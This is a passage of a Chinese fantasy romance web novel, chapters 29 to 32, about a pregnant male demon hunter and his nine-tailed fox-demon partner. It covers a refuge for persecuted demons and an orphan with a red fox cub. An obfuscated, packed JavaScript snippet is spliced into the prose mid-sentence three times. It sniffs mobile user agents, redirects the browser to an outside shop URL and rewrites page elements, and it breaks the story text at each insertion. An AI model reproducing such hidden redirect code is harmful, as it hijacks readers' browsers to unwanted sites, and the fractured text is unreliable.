“按他当年的计划，若是能让两族关系重新交恶，那便是正中他下怀，若是不成，能报复两位陛下也合他心意。” 29. 第 29 章 来时马车吱吱呀呀慢的不行，回去的路途却只花了一半的时间。 等到看到那座熟悉山头，天边已经布满橘色的晚霞，山下的村庄飘起袅袅炊烟，隐约有孩童嬉笑的声音传入耳边。 望月山上，不大的厨房里窝满了毛茸茸的小狐狸，苏言辰有一搭没一搭撸着狐崽，目光总忍不住落在炭火旁烤制食物的银青身上。 “饿了？” 身着雪青色长衫的银发美人眉眼温柔地看向他，眼角忽然晕开笑意，伸手往苏言辰嘴里塞了什么。 入口细腻软糯，带有烫意的甘甜在舌尖慢慢扩散。是板栗的味道。 看银青顺手将其余板栗塞给等待投喂的小狐妖，苏言辰总觉得自己被他当成了小孩子，不过……这种感觉还不赖。 “这是邻山的松鼠妖送来的，据说香甜可口，你可喜欢？” “喜欢。” 捏着还带着热意的栗子，对上银青的眼眸，苏言辰不由有些脸热，轻咳一声，手指不自觉地蜷缩了一下。眼睛一转，瞧见了端着碗慢吞吞走过来的小狐妖银雪。 “小雪过来吃栗子。”他连忙招呼银雪。却见小狐妖手上端着的碗里盛着热气腾腾，充满熟悉的复杂味道的药汁。 “？”苏言辰将放在桌上的药碗往外推了推，摸了把自己的脸颊肉，狐疑道：“我近日也未曾有什么气血不足的情况，怎么还需要喝这药汁？” 天知道，在逃离玄天宗来到这望月山后他被这会医术的小狐妖灌了多少碗这药汁子，若非他感觉自己明显比过去精神不少，早就不干了。距离上次喝药已经是多日之前，他也是亲耳听到银雪说自己无需再饮用这补气血之药，怎么现在又来？ 看着面露抗拒之色的青年，银雪幽怨地瞅了他一眼，缓慢吐出话语：“这其实并非是补血安神之药，而是……” “安胎药。” “……” “？”安胎药？ “快点喝，不然冷了更难喝。” 听到银雪的话，苏言辰条件反射将药汁一口闷下，感受着口中苦涩的味道，他忽然反应过来。记忆里他第一次喝这药汁似乎是前往月华村做任务的那个正午。 也就是说……苏言辰默默扭头盯着似乎有些心虚的小狐妖。 “所以你两个月前就知道我怀孕的事情了？” 银雪偷偷望了眼旁边貌似在认真盛汤的兄长，小小叹了口气，顺势点头。 何止是两个月前，实际上是更早的时候，两极果的后遗症他可是从最开始就一清二楚。若非兄长不喜读那书房里的书，他哪隐瞒得了此事啊。结果现在一不留神忘记将除妖师怀孕的事情告诉兄长，反叫自己受了责罚。 下次自己绝对不掺和这种事情了！银雪哀怨地想着。 …… 夜晚。 或许是晚些时候吃多了又或者是其他，苏言辰躺在床上翻来覆去睡不着。 睁着眼睛默默望着虚无的黑暗，他微微叹了口气，心中无名的烦躁来回翻涌。 “难道这个是怀孕时的正常反应吗？”他蹙起眉，忍不住伸手在凸起的小腹上揉了揉。 本不该是孕育子嗣的身体在经过异果未知的改造后似乎有了什么特殊的变化。 最初还未显怀之时，青年腹部的肌肉逐渐变得柔软，而在腹中胎儿长大后，那包裹着生命的腹部反倒不复先前的柔软带上了一种紧绷的感觉。同时叫腹部的皮肤更加敏感。 抚摸着小腹的手在某一刻顿住，苏言辰听见了细微的房门打开的声音。不知道是出于什么心理，他下意识闭上眼睛，装作熟睡的模样。 一股熟悉的冷香悄然弥漫开来，苏言辰感觉到来人小心翼翼走到床头，便站住不动了。 “？” 银青他想要做什么？ 这般想着，苏言辰忽然感觉到身侧的床榻似乎下沉了一下，随后被子里钻进一个散发热意的躯体。一只毛绒温暖的大狐狸悄悄溜上了他的床榻。 如此安静了片刻，也不知是时间已晚还是因为被安心的气息包裹，困意慢慢涌了上来，就在苏言辰处在半梦半醒的朦胧状态之时，一双温热的手掌悄悄附上他的腹部，动作又轻又缓，带着能被轻易察觉的呵护意味。 困意稍稍散去些许，黑暗中苏言辰不由勾了勾嘴角，缓慢睁开了眼睛。 “你在做什么？”他伸手抓住好似僵住的手掌，“我的阿青。” 苏言辰微微侧过脸，瞧见了那双在黑暗中也熠熠闪光的狐狸眼，心中莫名一乐。 或许是因为原形都是动物，妖族身上总带有一些与人族不同的特征，除去那十分明显的兽耳兽尾，就说那眼睛，具有夜视能力的眼睛在昏暗的环境下总会透着微光。 夜袭的大狐狸并没有说话，但苏言辰分明感觉周身那毛绒柔软的触感更加明显，就好像自己被银青的狐尾团团围住一般，同时那放在自己腹部的手掌再次缓慢动了起来。 并不属于自己的手掌轻轻触碰着变得敏感的腹部皮肤，激起一阵战栗感，苏言辰只觉那被银青抚过的皮肤像过电一样，带上了酥麻的感觉。 艹！他下意识捉住那作乱的手掌，侧过身曲起腰，想要掩饰身体的反应。 耳边突然传来狐妖低沉悦耳的嗓音，那温热的气息扑在耳侧让苏言辰情不自禁打了个哆嗦。 “阿辰，想要我帮你吗？” 银青动作轻缓地拢住青年隆起的腹部，眉眼温和舒展，狭长的眼眸中却带上一丝狡黠的光芒。 苏言辰狠狠皱起眉头，腹中被轻易勾起的火苗愈演愈烈。 “你。”他掩在被子里的手不由动了动，视线在面对着自己的面孔上停了几秒，忽然上嘴。 “嘶！” 看似凶狠的动作临到接触到那柔软的皮肤时却又放轻了些许，苏言辰含糊着说道：“要上就上，磨磨蹭蹭的算什么男人。”又意识到眼前的并非人族而是九尾狐妖，他又改口补充了一句。 “算什么雄性……动作利落点。” “唔！ ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14281249|151842||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ” …… ………… 惑人的冷香变得浓郁，房间的空气中弥漫着阵阵暖意，那床榻间的动静慢慢停息下来。 苏言辰窝在狐妖侧边，轻轻喘着气，云雨过后，那燃烧的火苗熄了下去，困意也终于重新翻涌。 瞧见身侧大狐狸似乎意犹未尽的表情，他懒懒出声。 “你别忘了我肚子里还有孩子。” “……当然，我并未忘记。”心中暗暗叹息，银青松松圈住怀中的青年，对上那双已经被睡意占据满是朦胧之色的眼睛，轻轻在青年的眉心印下一吻。 “睡吧。” 不料，本该沉睡的青年在呼吸逐渐平稳后忽然睁开了眼睛，他扭头看向察觉到动静后同样睁眼的狐妖，语气有些飘忽。 “刚刚，我好像感觉到他们在动……” “……他们？”银青刚酝酿出的睡意顿时消散，那双狭长的金眸在一瞬间瞪大。 “对，我的肚子里有两个小家伙。” 意识到自己并未将此事告诉孩子的父亲，苏言辰连忙补充，同时试探性的将银青的手掌放到自己的肚子上，想让其也感受到方才自己感觉到的动静。 “刚刚，他们就像是小鱼一样，咕噜游了一下。”就好像在和人打招呼似的。 这种奇怪的感觉，是无论前世还是今生的前十几年都从未感受过的。如此想着，苏言辰忽晃了晃脑袋，暗骂自己傻了。这怀孕的事情，一个男人在正常情况下怎么可能感受过。 然而等了许久，方才那种细微的胎动就好像是做梦一样，未再出现过。苏言辰失望地叹了口气，正欲将银青的手掌放下，肚子里蓦然又传来一阵小鱼吐泡泡般的动静。 “你感觉到了吗，阿青？”苏言辰抬眸看向上方的银青，却见这只大狐狸仿佛呆住一样，只愣愣地点点头，半晌突然反应过来，那双狐狸眼一下子爆发出极亮的神采。 “这是，我们的孩子？” “是的，是属于我们的狐崽。”苏言辰想到修炼时时常会见到的两个小胎儿的模样。 虽然还在自己腹内发育着，但他已经可以看到两只崽崽那遗传了另一个狐妖父亲的狐耳，又小又别致。虽然整体看上去依旧丑丑的，但或许是作为孕育者的滤镜，对于这两个小胎儿，苏言辰依旧感觉到了一种可爱，丑丑的可爱。 “我们的狐崽……” “对。” “我们的……” 如此这般附和了几次，困倦的青年慢慢打了个哈欠，伸手捂住好像突然傻了的新手爹爹的嘴，低声说了一句：“阿青，我困了。” 迟来的困意迅速裹挟着他的意识，疲惫酸软的身体放松下来，在一片温暖安心的气息中，苏言辰闭上双眼，沉沉睡去。 银青出神地盯着青年的睡颜，慢慢眨了眨眼睛，在与孩子初次互动的新奇感褪去后，对青年的爱意溢满心头。他伸出手指碰了碰苏言辰的温软的脸颊，在上面轻轻印下一吻，随后跟着闭上双眼。 30. 第 30 章 发现望月山后的秘密是由于一场意外。 或许对于山上的妖族来说，这并不算秘密。只是原先苏言辰因为自认为自己是外人而不愿深入探究。 那是一天午后，温暖的阳光照在人身上暖暖的，正是适合午睡的好时候。 在与银青的闲谈途中，苏言辰不知不觉睡了过去，等到再次醒来，身上被人盖了一条毛绒的毯子，而睡前与他说话的某只大狐狸却没了踪影。 怔怔发了会呆，苏言辰的视线落在被圆隆的肚子顶出弧度的毛毯上。 或许因为是双胎，他的肚子长大的速度要比一般单胎的妇人要快些，而在进入孕中期后，那种孕期的不适更加明显。 银青去哪儿了？ 回过神来苏言辰心中只冒出了这个想法，身体的不适连同心思也变得敏感脆弱起来，在不经意间，他对银青的依赖也愈发强烈。 午睡后醒来只孤身一人那种被抛弃的无助与孤独感慢慢侵袭着青年因怀孕而变脆弱的神经，他再也坐不住准备从躺椅上一跃而起。 起身到一半，被毛毯盖住大半个身子的青年身形顿了一下默默捂住腹部又再度躺回躺椅上。 “可恶！” 苏言辰低声骂了句，原本灵巧敏捷的身手在胎儿长大身形变笨重后已然消失，只是有时候他依旧会忘记。 揉着有些发紧的肚子，气恼之余苏言辰最终决定换个和缓的方式起身。 歇了半晌等腹部恢复正常后他再度侧过身，用手臂支起身体慢慢从躺椅上爬起来。 “呼——”总算起来了。 靠在扶手上，苏言辰撩起衣袖，露出手腕上那泛着金属光泽的锁魂链。 原本以为只是用来看守自己的法器，在经历被银青传递灵力，被用来当做寻找自己的定位器后，苏言辰终于意识到这玩意儿的特别之处。 锁魂链，全名是同心锁魂子母链环，分为子环与母环。 母环可以随时察觉子环持有者的神魂状况，必要时可以通过无形的魂链传递妖力或是灵力用以保护子环持有者。同时若是母环持有者允许，子环与母环之间也可相互感应。 在苏言辰手中的这个便是锁魂链中的子环，在上次离开被银青这只大狐狸追到后，这子母环之间相互感应的权限便被打开了。 表面上那么冷淡的家伙居然是个这样控制欲强的角色，实在不可貌相。苏言辰晃了晃手腕上的环链，闭目凝神，激发锁魂链的追踪感应。 银色的灵力将整个法器包裹住，苏言辰只觉手环一阵发烫，冥冥之中好像有什么在指引方向，他顺着这种感觉开始往山下走去。 天气虽然开始变冷，但山上的树木的叶片并未完全脱落，绕过依旧还算繁茂的树丛，拨开最后一处挡住视线的树梢，突兀的山崖映入青年的眼帘。 “？” 扫了眼被浓厚云雾填满的山崖下方的景色，苏言辰慢慢后退几步，从山崖边缘撤回迈出的脚。 如今自己的身体笨重许多，这种危险的地方还是远离为好。 只是…… “这锁魂链的感应莫非出错了？” 扶着树身，苏言辰观察着眼前陌生的场景，心中冒出疑问。在锁魂链的指引中，银青的位置分明就在这前下方，可这环境这地势，在在山崖的前方也并没有山路。 总不能是银青跳下去飘在半空中吧，他心中胡乱揣测着，脑中忽然灵光一闪。 这望月山连带山下的月华村中都存在着所谓迷阵幻阵，那他现在眼前的这种场景会不会也是所谓迷阵幻阵营造的虚假景象？ “……” 苏言辰一阵无言，望了眼不曾有人出现的山崖边心中莫名的酸楚感咕嘟咕嘟冒着泡，想了想最终还是转身准备离开。 “先前去哪边不告诉我就算了，如今说开了，离开前也不告诉我行踪，迷阵幻阵这么多，我……啊——” 一转身，一只棕色的兽脸突兀凑近，苏言辰冷不丁被吓地大喊一声，手中的除妖长剑反射性抽了出来。 “诶，等等，你这人怎么随便打打杀杀啊喂！” 扛着麻袋的巨型松鼠连忙后退几步，蹦离青年的身边，嘴上大声骂骂咧咧。 “你是什么人？又因何事出现在此地？” 察觉到眼前这只口吐人言的大松鼠似乎没有恶意，苏言辰反手将剑尖朝下，捂着因受惊而胎动频繁的肚子，冷声问道。 宗栗这才瞧见青年身前隆起的腹部，作为一只十分爱听小道消息的松鼠妖，他一下子便将眼前的青年同传闻中怀孕的狐王伴侣联系到一起。 “我滴个乖乖，吓错人了。”松鼠妖眼睛骨碌碌转了一圈，空空的大脑却并没有想到合适的办法，最后化作人形，拖着蓬松的大尾巴乖乖回答了苏言辰的问题。 “我是隔壁山上的松鼠妖宗栗，是前来给狐王送栗子的。”他放下背后的大口袋打开示意，里面是已经处理干净的生板栗。 狐王……苏言辰在心中念了一遍，意识到这就是他的阿青在外的身份。 因着与狐狸洞中的小狐妖们相处时，银青这只九尾大狐狸从来不曾展现过什么威势，从来都是一副好兄长的模样，他也并未将先前狼妖口中的称呼放在心上。如今从一个陌生妖族口中再次听到这个称呼，他心中逐渐升起了好奇之意。 不过…… “隔壁山？”苏言辰侧身看向背后被浓厚烟雾层层遮掩住的群山，又瞧了眼断崖，扭头捉住想要趁机逃跑的松鼠妖，将这个身高刚到自己肩头的妖族少年拦住。 “慢着。”他说：“你知道怎么去这山下？” 苏言辰并未忘记自己出来时的目的。如今这锁魂链的感应依旧停在这山稍微往下方的位置，或许这只松鼠妖可以给他带路。他要找到那只不打招呼就把自己丢一边的大狐狸，好好拧一拧他的狐耳朵。 “自，自然……呵呵。”宗栗抬头讪讪一笑，忽然像是看见了什么，圆溜溜的眼睛瞪得更大，大声喊了一声：“狐王殿下！” “？” 苏言辰连忙转身，手上不忘拽住松鼠妖的大尾巴防 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14281250|151842||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 止他使诈逃走。 “阿辰，你醒啦。” 还未见到人，熟悉的狐尾便率先轻柔圈住自己的腰身，苏言辰松开松鼠尾巴，转而顺着狐尾的力道来到银青身边。 大妖似是匆忙赶来的模样，落在身后的银发稍稍凌乱，看向青年的狭长金眸中带着关切与担忧，而那一丝担忧在见到完好的青年时飘然散去。 “你……离开怎么不和我说一声。” 原先想得好好的质问最终只化作这样一句话，苏言辰瘪瘪嘴，掩饰性地低下头，在听到大狐狸温柔的话语的一刹那，方才被压在心底的委屈瞬间泛上心头，变作泪水很快便溢满整个眼眶。 听到那带有颤音的话尾，银青眉头慢慢皱起，他伸出手动作轻柔却不乏力度地托住青年的下巴，抬起对方的脸庞。在见到那双通红的泪眼时，银青心中蓦然一痛。 “不要看我！”苏言辰撇过脸，抬起手臂，狠狠擦拭眼周的泪水。 这种无缘无故流眼泪的情况早在最开始就已经出现了，可是即使过了好几个月，他依旧不能习惯这种动不动就情绪泛滥的感觉。 男儿有泪不轻弹，像他这样哭得跟个傻子似的……也太没面子了。 这么想着，苏言辰却感觉眼泪流的更多了，眼角扫过旁边还站着的陌生妖族，他一头扎进银青的怀里，圆圆的肚子抵住对方的腹部，埋着头不再吭声。 像是察觉到青年的小心思，心中有些慌乱的九尾狐妖出声叫呆站着的松鼠妖退走，伸手揽住怀中的人，轻轻拍着青年的后背，像是在无声安慰。 半晌，等苏言辰终于收拾好心情抬起头时，便见到了一只愁容满面的大狐狸。 “你这是什么表情？”心中的情感来得快去得也快，等情绪发泄出来，亲近依赖的人又在身边温柔安慰自己后，苏言辰心中的委屈已经不再像最初那般强烈，因而看到银青难得一见的表情，他心中转而一乐，不由问道。 “我这不是在忧心嘛，你这个小没良心的。”刮了刮苏言辰哭得泛红的鼻头，见到他展颜笑开了，银青心中也终于松了口气，眉眼不由舒展开来。 “先前是我不好，没有告知你我的去处。”他还记得苏言辰刚刚对自己说的话，心下不由反思。 闻言苏言辰耳朵不由一热，情绪发泄过后，他也意识到自己方才的抱怨有些不讲道理，自己睡着了又怎么让银青告知自己去处呢，难道是要摇醒自己？ “你方才是去哪边了？”想到自己见到的断崖以及手上锁魂链给自己的指示，苏言辰心中有些好奇。 不说那可能的迷阵幻阵，就说那邻山上的其他妖族也叫他有些新奇。除去望月山上的小狐妖们，他也就见过…… 月华村的狼妖、兔妖、桃花妖、玄天宗后山的蛇妖以及驾车的小鹤妖还有那两只鸦妖…… 心中扳着手指数了一下，苏言辰不由倒吸一口凉气。 怎么突然发现自己身边的妖族不知不觉间竟然这么多了，就好像自己待的不是接近人族的地方而是在妖族的领地一样。 31. 第 31 章 脚下云雾四起，即使被那有力的大尾巴团团包裹着，俯身朝下望去依旧叫人心中有些发怵。 当然，这并非是飞行。 苏言辰握住银青的手，跟随他踏出山崖。就在迈步的一瞬间，脚下似乎出现了无形的台阶，再走出几步，展现在眼前绵延的山峦恍然变了一番场景。 再低头，脚下的无形台阶有了具体的实貌，是灰青色的石岩搭建而成的石桥。 “刚刚那个便是望月山与这无名山的结界。”见青年对方才的场景面露惊奇，银青勾了勾嘴角，牢牢护住对方，不急不缓地介绍着。 “等到走过这座石桥，下面便是无名山的地界，也是现下妖族生活的居所。” 在这无根之境原本便存在有人族与妖族，若非有外来者申常德等人的出现，这两个种族势力本应交集甚少，最起码不会像现在这般如此势同水火。 由于妖族种族习性的差异，各类妖族更爱在适宜的环境里安家落户，所以在这片广袤的大地上，妖族的族地原本是处于零散的状态。 但那是原本。 前些时日，也不知人族的除妖师受了什么刺激，以玄天宗为首的除妖师宗门开始大肆行动起来，疯狂捕杀驱逐安稳生活在各处的妖族。 平静的生活被打破，侥幸逃出的妖族开始逃亡之旅，最后那些幸存的妖族找到银青的属下传达了自己的请求，对这只九尾天狐献上忠诚以期得到大妖庇护。 于是原本只是充当办事之处的无名山一时间便成为安置这些妖族的场所。 “所以你之前是去处理这些妖族的安置问题。” 苏言辰了然地点点头，转身回望身后被云雾环绕遮掩的山峰。 在无名山与望月山之间原本有着一道天然屏障，如今这座屏障被这新建成的石桥打破，但与此同时又因为设置了乱人感知的结界，这妖族的居所反而不那么容易被发现。 难怪方才自己被迷惑住，原来真的又是一个出自银青之手的迷阵。 “还是双向的……”苏言辰忽然睁大了眼睛。 刚刚就在他迈下石桥，眼前那灰青色的桥面忽然就消失不见，只余山下升腾四散的袅袅雾气。 “自然。”银青重新牵住青年因吃惊而略微松开的手，“这无名山中的妖大都是些被那除妖师所害的妖族的幸存者，虽不能说是恶妖，但若是有那等偏激之徒，因除妖师的行为仇恨人族做出伤人的行径，这也并非没有可能。” 所以为了保护望月山下生活着的人族，这双向的迷阵就有了存在的必要。除非他允许，否则那些想要寻求他庇护的妖族休想进入望月山。 如今既然被阿辰发现了这无名山的异样，他自然也不会瞒着对方。 行至半路，未等苏言辰出声说些什么，身侧的狐妖便化作一只巨大的白色九尾狐狸。毛绒的狐尾轻柔地将他放在自己的后背，继续往无名山上的妖族宫殿前进。 就像坐观光车一般，苏言辰全身陷在柔软的狐狸毛发里，只觉被山风吹得有些冷的身体一下子就被温暖包裹住。 纵然修习那纯阳功法后他就不再怕冷，但这种被人呵护的感觉是任何身体上的舒适无法替代的。 他顺手抚摸着大狐狸那顺滑的皮毛，忍不住轻轻贴在狐狸脑袋那边，悄悄吻了吻。 真是一只贴心的大狐狸。 继续往上走着，越靠近那宫殿，喧闹的声音便愈发大了起来。 苏言辰靠在银青的狐身上，隐约间能感觉到有其他视线在悄悄打量着自己，等他顺着感觉回望过去时却又看不到人影。 “快看！有人族来了。” “那是狐王殿下的伴侣吗？” “那不废话嘛，能坐在狐王背上的还能有谁。” “小声点，他发现我们啦！快溜——” 虽未曾看到具体的人影儿，但那窸窸窣窣交谈的话语却清晰飘进人的耳朵。 等路过那些或是在建或是建好的建筑群，在一众妖族面前露了脸后，一路上一直保持九尾天狐原形的银青这才化作人形抱着苏言辰落到一处宫殿的门口。 苏言辰忍不住揉了揉发僵的脸，在听到那几个躲藏起来的小妖说的话时他便模糊意识到银青这次带自己过来这无名山的缘由。 或许……是为了让他在这些妖族面前露一下脸？ 等再次回神时，苏言辰忽然发现自己竟和银青坐在一高处的座椅上，而在他的下方，静静站立着一众熟悉的面孔。 “小殿下，我们又见面了。” 许久未见的青蛇妖不再是化成原形的模样，而是最开始人身蛇尾的姿态。此刻，似乎是瞧见苏言辰望向自己的目光，她幽绿的竖瞳顺势对上青年的目光，眼中含着淡淡的笑意。 除此之外，那很少在望月山出现的狼妖夜阑也静静呆在一旁，包括时常会失踪的两只黑白小乌鸦。 原来这些妖族都呆在这里，苏言辰心想，难怪自打从外面回来后，他原先遇见的那些妖族好像突然之间就消失了踪影。虽说山下的月华村村民能够接纳这些妖族，但相较于那些喜爱人类的妖族，更多的妖族还是更愿意与同族生活在一起。 于是这无名山自然而然也就成了极佳的妖族居所。 …… …… 望月山上的风景每天每时总有不一样的地方，与心悦之人呆在一起的时间也总是过得很快，但毕竟与他这个闲来无事的人相比，银青并不会一直陪在自己身边。 从银雪口中得知，燕大娘想要进城采购东西后，苏言辰外出的心也蠢蠢欲动起来。 在经过一阵疯狂行动后，那些晏盟派遣的除妖师似乎又回到了原先的状态，一切似乎又恢复了平静。 慢悠悠行驶的牛车上，苏言辰面对面和燕大娘坐着，被那双热情的眼神盯着，他一时间内心突然有些后悔这次头脑发热的行动。 “诶哟，那小子怎么舍得让你出来受累的哟。”听闻苏言辰编造的外出缘由燕大娘眉头一皱，眼中流露出不赞成的神色。 “是我自己想出来透透气，不怪阿青。”苏言辰带好遮掩面部的帷帽，替银青辩白。 本就是自己想溜出来玩，这锅可不能让阿青背，不然……看燕大娘恢复正常的脸色，苏言辰扯了扯帷帽的边缘，心中呼了一口气。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14281251|151842||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 不然等他们回去，还不知道阿青要遭遇什么。 闻言，燕大娘望着青年隆起的腹部，脸上不禁露出慈爱的笑意。 “再过几个月就要生了吧，到时候……” 燕大娘细细说着生产的注意事项，末了到了城镇临近下车时又叮嘱几句让苏言辰玩的时候不要劳累，这才与他分开。 望着燕大娘的背影，苏言辰长吁一口气，一只小黑鸟从胸口悄悄钻出来站在他的肩头，隐在帷帽内。 “嘎！真是个热心肠的大娘。”墨翎小声感慨着。他在最初听到苏言辰先要外出时便已经准备与他的小殿下一同出行。 虽说由于这小世界限制的原因，他身上的法力修为被封印倒退甚至无法化形，但随着时间的推移，他发觉自己所拥有的种族天赋已经开始缓慢恢复。 若是外出时出现什么意外，他也能带着他的小殿下逃到安全的地方。也算是一个后手。 “是啊，热心肠……”就是太热情了，让他有点招架不住。 苏言辰停了一会儿，转身朝向自己此次出行的目的地走去。 自打在狐狸洞入住后，他身上的衣服一直都是银青银雪他们置办，故而此行自然并非是为自己，而是为了他腹中未出生的小狐崽。 妖族宫殿中的小狐崽都是纯种的妖族而非像他的两个孩子一样是人族与妖族的子嗣，故而按照狐妖族的那种养育办法不太可行。在与唯一的人蛇混血妖族交流过后，苏言辰意识到，对于这两个孩子他还需要做两手准备。 每个种族的幼崽养育存在差异性，也就是说这生下来的幼崽到底是人类幼崽还是狐狸幼崽都没有定数。那么对于出生后的孩子的小衣服…… 干脆还是直接都按照人族婴儿来置办好了。 远远便瞧见了买卖布匹衣服的布庄，还未进门，他耳中忽然捕捉到一个熟悉的字眼。 “喂，你们听说了吗？前阵子阙云宗被那狐妖入侵了。” “啊？这话怎么说，那阙云宗不是个大宗门吗，那样的大宗门也会遭此毒手？” “谁知道呢？听我那在当除妖师的表兄的家里人说啊，据说死了好多除妖师哩。整个宗门人一下子就没了，可惨了。” “真是……” 苏言辰瞥了眼从旁边走过的声音逐渐小下去的行人，迈步走进布庄。 阙云宗？被狐妖入侵了？ 苏言辰心中泛起嘀咕，据他所知的狐妖只有他所在的望月山上的那群小白狐，但若说那群毛都没长齐的小家伙们去入侵阙云宗？他是脑子坏了才会相信。 估计又是什么谣言吧。苏言辰如此想着。 没将这件事情放在心上，他兴致勃勃挑选着未来孩子的衣服布料，挑到中途被店家忽悠着试穿了一件花色很符合他审美的衣衫。 “这位夫人，这衣服料子柔软舒适得很，若是合您心意，不若先去里间试试看……” 果然从古至今都有推销这个职业，苏言辰拎着衣衫拒绝了店家的帮忙之举，进了里间准备试衣。 刚将头上帷帽摘下，他便察觉到在这小小的空间里似乎出现了另外的呼吸声。 32. 第 32 章 被屏风与帘帐阻隔的空间中隐隐有淡淡的血腥味飘散。 苏言辰不动声色地作势脱衣，暗中将手按在藏于腰间的防身短剑上。 “小红——” “你在干什么呀小红，快回来！” 有孩童压低的嗓音从身侧悬挂着衣物的屏风后面传来，这般细小的声音混在靠近街道的嘈杂人声中本来不应被普通人察觉。但苏言辰是修行之人，这般微小的声音在修炼后更加敏锐的五感感知中尤为清晰。 原来是个小孩？ 意识到这一点的同时他只觉脚下似乎有什么热乎乎的东西贴着他的裤腿似乎想要往上攀爬。 ！！！ “什么东西？！”那毛茸茸热乎乎又小小一团的感觉直接让他幻视了曾经在玄天宗时耗子爬腿的惊悚遭遇。 就在苏言辰话音落下的时刻，一个梳着双丫髻的小孩子从躲藏的屏风后面窜了出来，目标明确地扑到他的脚下。 扑通——咚！ 苏言辰眼疾手快拎着小家伙后颈领口将这个突然冒出的小孩提溜起来。 “你是谁家的小孩？” “放开我！”小孩压低声音，似乎是不想引起他人的注意，色厉内荏地小声威胁道：“我叔叔可是很厉害的，你要是不放了我，小心我叔叔让你吃不了兜着走！” 一边说着，这小孩还一边手上扯着一火红色的东西，一副誓不罢休的劲儿，但挣扎的动作却不大，好像在顾虑什么。 感受着裤腿上传来的拉扯感，苏言辰低头往下看去，一只火红色的毛茸茸的小动物随着小孩拉扯的力度加大逐渐露出全貌。 是一只毛色火红身躯瘦小的尖嘴狐狸幼崽。 突然，只听“刺啦”一声，在狐狸幼崽与人类幼崽的较劲之中，苏言辰的裤子被撕开一道口子。 “……” 苏言辰无言瞧着两个僵住的幼崽，放下拎着小孩后衣领的手，就在小孩发愣的一瞬间，那只火红的小狐狸倒腾着小短腿飞快爬到青年的肩上，随后就窝着不动了。 “小红！你快下——” “嘘！有人来了。” 小孩的呼唤声被苏言辰打断，他收拾好身上的衣衫，随后戴上帷帽，将肩头使劲扒住自己的狐狸幼崽揣进兜里，随后慢慢打开门走了出去。 门外是正欲敲门的店家，见苏言辰身上那并未换上那正青色的衣衫，他刚露出疑惑之色就听这位高挑的“妇人”出声让自己将那衣衫连同其他挑选好的柔软布料装起来。 诶呀呀，真是爽快的客人。店家心中的疑虑瞬间被忘在脑后，手脚麻利地将成衣打包好，笑送这位奇怪的客人出了铺子。 等拐过一个弯，来到僻静的巷口，苏言辰这才停下脚步，转身看向身后跟来的小孩。 “把小红还给我！”小孩语气急促地说道。 苏言辰用手指搓揉了下怀中小狐狸的绒毛，抬眼看向眼巴巴望着自己的小孩，面露无奈。 “可看上去，你这小伙伴似乎不愿意走啊。” “……哼！”小孩似是哽住，气冲冲哼了一声，转念似乎是想到什么，乌黑的眼睛瞥向青年怀中撒娇的小狐狸，沉默片刻，忽然别别扭扭开口。 “既然小红愿意跟着你，那你……那你也把我带走吧。” “？” 苏言辰抚摸着小赤狐的手指一顿，随即怀中的布匹便被小孩抽了抽。 “你要做什么？” 听到问话，才到人腰处的小孩目光顿时落到苏言辰遮掩不住的圆隆腹部，他说：“你还怀着宝宝不能累着，我帮你拿这布匹。” “看，要是你带我走，我能帮你干好多事，你不亏的。”见苏言辰低头看着自己，小孩状似肯定地用力点头：“真的。”好像这样就能说服面前的人似的。 瞧见小孩眼中的忐忑，苏言辰心中忽然一软，将布料递给这个小家伙拿着，见其高兴的模样，不经意间开口道：“你叫什么名字？” “我，我叫……你叫我小衍就好。”小衍吞吞吐吐，话一出口脸突然变得通红。 见状苏言辰微微勾起嘴角，看来这小家伙脸皮还有待修炼，这慌张的模样一看就不大说谎。 “你说要跟着我，那……你家里人同意吗？” 像是想到什么伤心事，这小家伙表情顿时难过起来，抽了抽鼻子抱紧手中的布匹。 “我没有家了。小红就是我的家人。” 顺着小衍的目光，苏言辰将视线落在被墨翎牢牢按在爪下的小赤狐身上。 方才还未曾注意，如今再看这小狐狸苏言辰心中总有一种异样的感觉。 因着身形的变化也是为躲避可能存在的玄天宗人，这次出行他便扮做妇人模样。 故而连除妖长剑都未曾带在身上，只留了一把防身的短剑，更别提那颇有重量的寻妖罗盘，所以他并不能完全判断得出这化为原形的小动物是否真的是妖族。 但……妖族之间却可以辨别出来。 “墨翎，这小狐狸是……” “嘎！没错，这是一只赤狐妖族的幼崽。”墨翎用翅膀逗了逗翻肚皮的小狐狸，回答道。 赤狐妖…… 牵着小衍的手走向与燕大娘约好的地点，苏言辰总觉得自己好像忘了什么。 等牛车又开始慢悠悠往望月山行驶，他脑中突然回想起先前自己偶然听到的有关于阙云宗被狐妖入侵的消息。 莫非，入侵那阙云宗的就是这赤狐妖的同族？ …… “你身上怎么有其他狐狸的味道？” 